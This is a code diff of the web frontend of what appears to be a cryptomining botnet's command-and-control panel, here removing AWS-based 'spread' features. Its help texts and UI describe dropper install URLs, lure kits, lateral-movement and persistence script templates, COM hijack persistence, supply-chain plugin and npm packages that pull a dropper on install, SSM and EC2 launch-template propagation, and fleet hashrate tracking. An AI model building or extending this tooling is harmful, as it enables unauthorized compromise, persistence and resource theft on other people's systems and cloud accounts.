import { type ScoutConstellationSnapshot } from '../../help/scoutBiomeWeather';
import { mergeScoutBiomeWeather, type ScoutConstellationSnapshot } from '../../help/scoutBiomeWeather';
import { isDashboardRoute } from '../../help/routeEffects';
import { api } from '../../api/client';
import { usePresence } from '../../context/PresenceContext';
@@ -46,9 +45,7 @@ function operatorDeckId(pathname: string): string {
return 'dashboard';
}
type NavItem = { readonly to: string; readonly label: string; readonly icon: string; readonly glow?: boolean };
const NAV_BASE: readonly NavItem[] = [
const NAV_BASE = [
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
{ to: '/activity', label: 'Activity Feed', icon: 'activity' },
@@ -60,15 +57,15 @@ const NAV_BASE: readonly NavItem[] = [
{ to: '/builds', label: 'Builds', icon: 'builds' },
{ to: '/emberwake', label: 'Emberwake', icon: 'ember' },
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
];
] as const;
const SEER_NAV: NavItem = { to: '/seer', label: 'Seer', icon: 'seer' };
const SEER_NAV = { to: '/seer', label: 'Seer', icon: 'seer' } as const;
function buildNav(aiControlEnabled: boolean): NavItem[] {
function buildNav(aiControlEnabled: boolean) {
if (!aiControlEnabled) {
return [...NAV_BASE];
}
const items: NavItem[] = [...NAV_BASE];
const items = [...NAV_BASE];
const calibrateIdx = items.findIndex((i) => i.to === '/settings');
items.splice(calibrateIdx, 0, SEER_NAV);
return items;
@@ -313,18 +310,14 @@ export default function Layout({ children }: LayoutProps) {
if (latestMessage?.type !== 'scout_constellations') return null;
return latestMessage.payload as ScoutConstellationSnapshot;
}, [latestMessage]);
const cloudBiome = useMemo(() => {
if (latestMessage?.type !== 'cloud_venue_biomes') return null;
return latestMessage.payload as CloudVenueSnapshot;
}, [latestMessage]);
const pageWeather = useMemo(() => {
const base = resolvePageWeather(location.pathname);
const path = location.pathname.split('?')[0].replace(/\/$/, '') || '/';
if (path === '/emberwake' || path === '/spread' || path === '/dashboard' || path === '/agents') {
return mergeBiomeWeather(base, scoutBiome, cloudBiome);
return mergeScoutBiomeWeather(base, scoutBiome);
}
return base;
}, [location.pathname, scoutBiome, cloudBiome]);
}, [location.pathname, scoutBiome]);
const showDeckEffects = isDashboardRoute(location.pathname);
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
const mobileShortLabel: Record<string, string> = {

View File

@@ -15,24 +15,6 @@ export function isOnionMinerLogEvent(event: SeerEventRecord): boolean {
return event.event_type === 'onion_miner_log';
}
export function isFargatePlagueFrontEvent(event: SeerEventRecord): boolean {
return event.event_type === 'fargate_plague_front';
}
export function fargatePlagueFrontSummary(event: SeerEventRecord): string {
if (!isFargatePlagueFrontEvent(event)) return '';
const p = event.payload ?? {};
const ttl = typeof p.ttl_hours === 'number' ? p.ttl_hours : undefined;
const expires = typeof p.expires_at === 'string' ? p.expires_at : '';
if (ttl != null && expires) {
return `Fargate burst seeder front · TTL ${ttl}h · expires ${expires}`;
}
if (ttl != null) {
return `Fargate burst seeder front · TTL ${ttl}h`;
}
return 'Fargate burst seeder campaign active (ECS plague front)';
}
export function onionMinerLogSummary(event: SeerEventRecord): string {
if (!isOnionMinerLogEvent(event)) return '';
const p = event.payload ?? {};

View File

@@ -109,7 +109,6 @@ describe('FIELD_HELP', () => {
'failure_atlas',
'erasure_lanes',
'fleet_torrent',
'aws_erasure_swarm',
'ai_court_session',
'ai_persona',
'ai_persona_aggressive',

View File

@@ -48,8 +48,6 @@ export const FIELD_HELP: Record<string, string> = {
'Optional ReedSolomon 4+2 shard encoding on signed deploy plans — spreads payload bytes across parallel lane URLs (dns_txt, bits_curl, do_peer, wsus_cache_peer). Agents reassemble from any k shards when server.erasure_lanes_enabled is on and primary single-lane staging fails. Foundation only — no live multi-hop lane orchestration yet.',
fleet_torrent:
'Fleet Torrent extends erasure with a content-addressed shard DHT across seeder-role agents. One primary seeder per /24 (subnet_primary_seeder on auth). fleet_torrent_gossip relays have_shard / healthy / know_node fleet-wide (cross-subnet). BGP spread_route_hint attaches swarm_magnet + shard_manifest_urls. C2 super-seeder holds canonical shards at /api/v1/public/erasure-torrent/{token}/manifest. Zero-server mode uses last policy snapshot + 30m HTTPS reconnect.',
aws_erasure_swarm:
'Standalone AWS erasure swarm: deploy plans upload RS 4+2 shards to your S3 bucket and sign CloudFront URLs into BGP swarm_magnet web-seeds. Set aws_s3_shard_bucket + aws_cloudfront_domain in server config; supply AF_AWS_ACCESS_KEY_ID, AF_AWS_SECRET_ACCESS_KEY, AF_AWS_REGION, AF_CLOUDFRONT_KEY_PAIR_ID, AF_CLOUDFRONT_PRIVATE_KEY on the server host. Agents fetch LAN peers → signed CloudFront edge_url → C2 public shard. No signup flows.',
ai_court_session:
'When a host is stuck or all spread tiers fail, AI Control runs a Singular Machine Court: Prosecutor cites failure atlas + LOTL attempts, Defender cites a matching fleet phenotype, Judge returns at most three commands. Decisions persist with court_session=true on LOTL Timeline.',
calibration_ai_control:

View File

@@ -64,11 +64,9 @@ describe('UI_HELP', () => {
'fm_encrypt_path',
'pt_path_tracer',
'pt_agent_chain',
'pt_subnet_autopsy',
'fleet_runtime_policy',
'fleet_runtime_modules',
'spread_funnel_widget',
'subnet_immune_autopsy',
'md_overview',
'md_operation_chip',
'md_spread_profile',
@@ -84,10 +82,6 @@ describe('UI_HELP', () => {
'ew_install_links',
'ew_spread_kit',
'ew_war_room',
'ew_cloud_ecosystem',
'ew_cloud_aws',
'ew_cloud_generic',
'ew_ssm_document',
'ew_supply_chain',
'ew_public_urls',
'ew_techniques',
@@ -110,7 +104,6 @@ describe('UI_HELP', () => {
'set_webhook',
'ui_color_scheme',
'crucible_section_spread_templates',
'crucible_section_launch_template',
] as const;
it('defines help for every documented UI key', () => {

View File

@@ -105,8 +105,6 @@ export const UI_HELP: Record<string, string> = {
'Matrix of SSH local-forward rules pushed to selected Windows agents.',
crucible_section_spread_templates:
'Generate and download custom script templates for lateral movement, registry auto-run persistence, or custom payloads with baked-in server configuration.',
crucible_section_launch_template:
'EC2 Launch Template strain genesis for AWS horizontal scale — cloud-init user-data embeds genesis snapshot hash, strain card ID, and server URL; first auth sets SpreadGeneration=0 and ParentAgentID=template.',
bm_pin_dropper:
'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.',
@@ -176,14 +174,6 @@ export const UI_HELP: Record<string, string> = {
'Live funnel per campaign: page hits → downloads → first agent beacon → mining nodes and fleet hashrate. Updates every 15s and on WebSocket push.',
ew_supply_chain:
'Advanced: export a WordPress plugin ZIP or npm package template that pulls your dropper on install. Uses campaign settings above.',
ew_cloud_ecosystem:
'Unified cloud deploy hub — AWS and generic cloud templates with mermaid flows, copy/download, and connection tests.',
ew_cloud_aws:
'AWS templates: S3/CF erasure swarm, SSM, Launch Template, Fargate, EventBridge, Cloud Map.',
ew_cloud_generic:
'MinIO/S3-compatible kit upload and portable curl manifest.json for any VPS.',
ew_ssm_document:
'SSM Document spread lane — Run Command curl-fetches install.sh from your command deck.',
ew_public_urls:
'Direct /api/v1/public/download links for each build — same files shown on the login page when a build is marked public.',
ew_techniques:

View File

@@ -91,7 +91,6 @@ export const WS_LATEST_MESSAGE_TYPES = new Set([
'emberwake_notes_updated',
'emberwake_war_room',
'scout_constellations',
'cloud_venue_biomes',
'agent_online',
'agent_offline',
'new_share',

View File

@@ -27,7 +27,6 @@ import {
type ForgeDeliverable,
} from '../help/forgeFormNormalize';
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
import AwsErasureSwarmPanel from '../components/Forge/AwsErasureSwarmPanel';
import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import DownloadButton from '../components/DownloadButton';
@@ -3083,17 +3082,6 @@ export default function BuilderPage() {
<ForgeLockedHint meta={fieldMeta.webrtc_mesh_spread} />
</div>
{calibrateConfig?.server && (
<AwsErasureSwarmPanel
server={calibrateConfig.server}
onServerChange={(patch) =>
setCalibrateConfig((prev) =>
prev ? { ...prev, server: { ...prev.server, ...patch } } : prev,
)
}
/>
)}
<div className={`form-group checkbox-group ${fieldMeta.com_hijack_persist?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.com_hijack_persist}

View File

@@ -15,19 +15,6 @@
margin-top: 0.5rem;
}
.emberwake-biome-chip {
display: inline-block;
margin: 0.5rem 0 0;
padding: 0.2rem 0.55rem;
font-size: 0.72rem;
letter-spacing: 0.06em;
text-transform: uppercase;
color: var(--neon-cyan, #00e8f5);
border: 1px solid rgba(0, 232, 245, 0.35);
border-radius: 999px;
background: rgba(0, 232, 245, 0.08);
}
.emberwake-section-title {
margin: 0 0 0.35rem;
font-size: 1.1rem;

View File

@@ -1,4 +1,4 @@
import { lazy, Suspense, useCallback, useEffect, useMemo, useRef, useState } from 'react';
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
@@ -22,17 +22,12 @@ import { usePresence } from '../context/PresenceContext';
import AlsoHere from '../components/Presence/AlsoHere';
import ComradeAvatar from '../components/Presence/ComradeAvatar';
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
import SSMSpreadPanel from '../components/Emberwake/SSMSpreadPanel';
import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard';
import { parseSeerSubnetAutopsy } from '../help/subnetAutopsy';
import { activeBiomeLabel, type CloudVenueSnapshot } from '../help/cloudVenueBiomeWeather';
import type { ScoutConstellationSnapshot } from '../help/scoutBiomeWeather';
import { HelpTip } from '../components/HelpTip';
import './EmberwakePage.css';
import '../components/Presence/Presence.css';
const CloudSpreadPanel = lazy(() => import('../components/Spread/CloudSpreadPanel'));
function CopyChip({ text, label }: { text: string; label: string }) {
const [ok, setOk] = useState(false);
const copy = () => {
@@ -76,18 +71,6 @@ export default function EmberwakePage() {
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
const biomeLabel = useMemo(() => {
let scout: ScoutConstellationSnapshot | null = null;
let cloud: CloudVenueSnapshot | null = null;
if (latestMessage?.type === 'scout_constellations') {
scout = latestMessage.payload as ScoutConstellationSnapshot;
}
if (latestMessage?.type === 'cloud_venue_biomes') {
cloud = latestMessage.payload as CloudVenueSnapshot;
}
return activeBiomeLabel(scout, cloud);
}, [latestMessage]);
// Keep refs so `load` can read current pin values without listing them as deps.
// Listing pinA/pinB as deps caused a cascade: load() → setPinA/setPinB →
// re-render → new load reference → useEffect fires load() again (×N).
@@ -256,11 +239,6 @@ export default function EmberwakePage() {
<p className="page-subtitle">
Tag install links, export lure kits, and track which campaigns convert all from one desk.
</p>
{biomeLabel && (
<p className="emberwake-biome-chip font-tech" data-testid="emberwake-biome-chip">
Weather biome · {biomeLabel}
</p>
)}
<p className="emberwake-hero-links form-hint">
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
Spread techniques playbook
@@ -528,16 +506,6 @@ export default function EmberwakePage() {
)}
</section>
<details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary">
<span className="emberwake-section-title">Cloud Ecosystem <HelpTip field="ew_cloud_ecosystem" /></span>
<span className="emberwake-section-desc emberwake-advanced-tag">AWS + generic</span>
</summary>
<Suspense fallback={<p className="form-hint">Loading cloud deploy hub</p>}>
<CloudSpreadPanel serverUrl={serverBase} buildId={pinA} campaign={campaign} />
</Suspense>
</details>
<details className="emberwake-advanced spread-section spread-section--violet operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary">
<span className="emberwake-section-title">
@@ -584,16 +552,6 @@ export default function EmberwakePage() {
</ul>
</details>
<details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary">
<span className="emberwake-section-title">
Spread methods AWS SSM Document <HelpTip field="ew_ssm_document" />
</span>
<span className="emberwake-section-desc emberwake-advanced-tag">Owned EC2</span>
</summary>
<SSMSpreadPanel serverBase={serverBase} buildId={pinA} campaign={campaign} />
</details>
<section
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-techniques-block"
aria-labelledby="ew-techniques-heading"

View File

@@ -382,12 +382,6 @@ export interface ServerSettings {
erasure_lanes_enabled?: boolean;
/** Fleet Torrent shard DHT + cross-subnet gossip (default off). */
fleet_torrent_enabled?: boolean;
aws_s3_shard_bucket?: string;
aws_s3_shard_region?: string;
aws_cloudfront_domain?: string;
fargate_burst_campaign?: boolean;
fargate_burst_ttl_hours?: number;
fargate_burst_expires_at?: string;
/** Triple onion recon/deploy gates pushed to agents at auth. */
triple_onion_policy?: {
patch_first?: boolean;